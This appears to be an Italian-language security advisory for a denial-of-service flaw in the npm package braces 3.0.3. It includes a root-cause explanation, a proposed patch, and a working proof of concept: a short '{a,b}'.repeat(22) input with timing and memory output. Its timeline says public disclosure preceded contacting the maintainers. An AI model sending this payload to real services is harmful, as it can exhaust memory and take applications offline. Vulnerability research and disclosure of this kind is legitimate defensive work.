
CVE-Candidate: DoS in [email protected] tramite espansione di parentesi graffe separate da virgole (fix incompleto di CVE-2024-4068)
Package: braces (npm) Versione: 3.0.3 (ultima) Gravità: HIGH (CVSS 7.5) CWE: CWE-400 Uncontrolled Resource Consumption Stato: Non segnalata
Nota: Questa è una scoperta indipendente. CVE-2024-4068 ha affrontato la limitazione della lunghezza dell'input (MAX_LENGTH=10000) ma non ha risolto l'esplosione combinatoria dell'output derivante dai pattern di espansione di parentesi graffe separati da virgole. CVE-2026-45149 riguarda un pacchetto diverso (
juliangruber/brace-expansion), nonmicromatch/braces.
La libreria braces è vulnerabile a denial of service attraverso un consumo incontrollato di risorse quando elabora pattern di espansione di parentesi graffe separati da virgole.
Un input dannoso lungo appena 110 caratteri fa sì che la libreria materializzi 4,2 milioni di elementi in memoria, consumando oltre 1,2 GB di RAM e bloccando la CPU per 9-30 secondi (a seconda dell'hardware).
Questa è una correzione incompleta per CVE-2024-4068. La patch originale limitava la lunghezza dell'input a 10.000 caratteri ma non limitava l'output combinatorio delle espansioni separate da virgole.
braces è una dipendenza di micromatch, che è usato da:
Qualsiasi applicazione che passi input controllato dall'utente a braces.expand() è vulnerabile.
In lib/expand.js, il controllo rangeLimit verifica solo gli intervalli numerici ({1..1000}), non i pattern separati da virgole ({a,b}):
// lib/expand.js:57
if (node.ranges > 0) { // only numeric ranges are checked
if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
throw new RangeError('...');
}
}
// Comma-separated expansions skip this check entirely
La funzione append() costruisce ricorsivamente tutte le combinazioni 2^N in un array senza alcun limite di output.
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py
I conteggi degli elementi sono deterministici. Tempi e memoria variano a seconda dell'hardware.
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================
[*] Finding DoS threshold...
n=10: input= 50 chars -> 1,024 items, 4,096 chars, 11ms, +912KB
n=15: input= 75 chars -> 32,768 items, 163,840 chars, 96ms, +15915KB
n=18: input= 90 chars -> 262,144 items, 1,310,720 chars, 737ms, +115535KB
n=20: input= 100 chars -> 1,048,576 items, 5,242,880 chars, 1833ms, +242558KB
n=22: input= 110 chars -> 4,194,304 items, 20,971,520 chars, 9723ms, +1196410KB
n=25: TIMEOUT/OOM
[*] Conclusion:
- Input size: 110 characters (well within the 10,000 character limit)
- Memory consumption: >1.2GB
- CPU block time: ~10 seconds
braces.expand(input)
-> lib/expand.js:walk()
-> lib/expand.js:append() <- no output limit
-> recursively builds all 2^N combinations
-> returns massive array
Aggiungi un controllo del limite a ogni passaggio di concatenazione in lib/expand.js per prevenire l'esplosione combinatoria. Avvolgi le chiamate a append all'interno di walk() con un helper di validazione:
const queueLimit = (queue, stash, enclose) => {
if (rangeLimit === Infinity) return append(queue, stash, enclose);
const queueLength = queue ? [].concat(queue).length : 0;
const stashLength = [].concat(stash).length;
const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
if (nextLength > rangeLimit) {
throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
}
return append(queue, stash, enclose);
};
Sostituire le chiamate a append() all'interno di walk() con queueLimit() garantisce che le combinazioni di parentesi graffe e intervalli consecutivi siano limitate in modo sicuro.
| Data | Evento |
|---|---|
| 2026-07-17 | Vulnerabilità scoperta |
| 2026-07-21 | Divulgazione pubblica (divulgazione responsabile non ancora avviata) |
Scoperto da cyeezy08.
| Input (caratteri) | Elementi di output | Tempo (circa) | Memoria (circa) |
|---|
| 50 | 1,024 | ~10ms | ~1MB |
| 75 | 32,768 | ~100ms | ~16MB |
| 90 | 262,144 | ~700ms | ~116MB |
| 100 | 1,048,576 | ~2-4s | ~243-468MB |
| 110 | 4,194,304 | ~10-30s | ~1.2GB+ |
| 125+ | Crash/OOM | Timeout | OOM Kill |
| File | Descrizione |
|---|
poc_braces_dos.py | Script PoC funzionante |
findings.md | Analisi dettagliata della vulnerabilità |
verdict.md | Conferma e punteggio CVSS |
disclosure-report.md | Advisory pronta da inviare |
patch.diff | Correzione proposta per lib/expand.js |
email-draft.txt | Bozza di email per i manutentori |